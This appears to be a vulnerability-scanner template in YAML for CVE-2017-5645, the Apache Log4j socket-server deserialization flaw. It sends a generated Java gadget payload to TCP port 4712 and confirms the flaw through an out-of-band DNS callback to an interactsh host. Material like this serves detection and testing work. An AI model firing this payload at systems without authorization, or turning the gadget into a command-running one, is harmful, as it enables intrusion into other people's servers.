35 lines
991 B
YAML
35 lines
991 B
YAML
id: CVE-2017-5645
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info:
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name: Apache Log4j Server - Deserialization Command Execution
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author: princechaddha
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severity: critical
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description: |
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In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.
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reference:
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- https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2017-5645
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- https://nvd.nist.gov/vuln/detail/CVE-2017-5645
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classification:
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cve-id: CVE-2017-5645
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metadata:
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max-request: 2
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tags: vulhub,network,apache,log4j,rce,deserialization,oast
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variables:
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end: "\r\n"
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tcp:
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- inputs:
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- data: "{{generate_java_gadget('dns', 'http://{{interactsh-url}}', 'hex')+concat(end)}}"
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host:
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- "{{Hostname}}"
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- "{{Host}}:4712"
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read-size: 100
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- dns
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